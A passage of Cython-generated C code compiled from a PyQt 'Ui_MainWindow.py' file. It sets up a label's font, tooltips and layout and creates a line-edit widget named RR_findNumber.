<<<<<<<<<<<<<< * font = QtGui.QFont() * font.setPointSize(10) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMaximumSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__204, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":345 * self.label_33.setEnabled(True) * self.label_33.setMaximumSize(QtCore.QSize(80, 60)) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setPointSize(10) * font.setBold(False) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 345, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFont); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 345, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 345, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 345, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":346 * self.label_33.setMaximumSize(QtCore.QSize(80, 60)) * font = QtGui.QFont() * font.setPointSize(10) # <<<<<<<<<<<<<< * font.setBold(False) * font.setWeight(50) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setPointSize); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__205, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_MainWindow.py":347 * font = QtGui.QFont() * font.setPointSize(10) * font.setBold(False) # <<<<<<<<<<<<<< * font.setWeight(50) * font.setKerning(True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setBold); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 347, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__206, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 347, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":348 * font.setPointSize(10) * font.setBold(False) * font.setWeight(50) # <<<<<<<<<<<<<< * font.setKerning(True) * self.label_33.setFont(font) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 348, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__207, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 348, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_MainWindow.py":349 * font.setBold(False) * font.setWeight(50) * font.setKerning(True) # <<<<<<<<<<<<<< * self.label_33.setFont(font) * self.label_33.setToolTip("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setKerning); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 349, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__208, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 349, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":350 * font.setWeight(50) * font.setKerning(True) * self.label_33.setFont(font) # <<<<<<<<<<<<<< * self.label_33.setToolTip("") * self.label_33.setStatusTip("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setFont); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_font); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_font}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_font}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_v_font); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":351 * font.setKerning(True) * self.label_33.setFont(font) * self.label_33.setToolTip("") # <<<<<<<<<<<<<< * self.label_33.setStatusTip("") * self.label_33.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 351, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 351, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__209, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 351, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":352 * self.label_33.setFont(font) * self.label_33.setToolTip("") * self.label_33.setStatusTip("") # <<<<<<<<<<<<<< * self.label_33.setAccessibleName("") * self.label_33.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 352, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 352, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__210, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 352, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":353 * self.label_33.setToolTip("") * self.label_33.setStatusTip("") * self.label_33.setAccessibleName("") # <<<<<<<<<<<<<< * self.label_33.setAccessibleDescription("") * self.label_33.setLayoutDirection(QtCore.Qt.RightToLeft) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 353, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 353, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__211, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 353, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":354 * self.label_33.setStatusTip("") * self.label_33.setAccessibleName("") * self.label_33.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.label_33.setLayoutDirection(QtCore.Qt.RightToLeft) * self.label_33.setObjectName("label_33") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 354, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 354, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__212, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 354, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":355 * self.label_33.setAccessibleName("") * self.label_33.setAccessibleDescription("") * self.label_33.setLayoutDirection(QtCore.Qt.RightToLeft) # <<<<<<<<<<<<<< * self.label_33.setObjectName("label_33") * self.horizontalLayout_7.addWidget(self.label_33) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setLayoutDirection); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Qt); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_RightToLeft); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":356 * self.label_33.setAccessibleDescription("") * self.label_33.setLayoutDirection(QtCore.Qt.RightToLeft) * self.label_33.setObjectName("label_33") # <<<<<<<<<<<<<< * self.horizontalLayout_7.addWidget(self.label_33) * self.RR_findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget_3) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__213, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":357 * self.label_33.setLayoutDirection(QtCore.Qt.RightToLeft) * self.label_33.setObjectName("label_33") * self.horizontalLayout_7.addWidget(self.label_33) # <<<<<<<<<<<<<< * self.RR_findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget_3) * self.RR_findNumber.setMaximumSize(QtCore.QSize(100, 60)) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_7); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 357, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 357, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 357, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 357, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 357, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 357, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 357, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 357, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":358 * self.label_33.setObjectName("label_33") * self.horizontalLayout_7.addWidget(self.label_33) * self.RR_findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget_3) # <<<<<<<<<<<<<< * self.RR_findNumber.setMaximumSize(QtCore.QSize(100, 60)) * font = QtGui.QFont() */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber, __pyx_t_3) < 0) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":359 * self.horizontalLayout_7.addWidget(self.label_33) * self.RR_findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget_3) * self.RR_findNumber.setMaximumSize(QtCore.QSize(100, 60)) # <<<<<<<<<<<<<< * font = 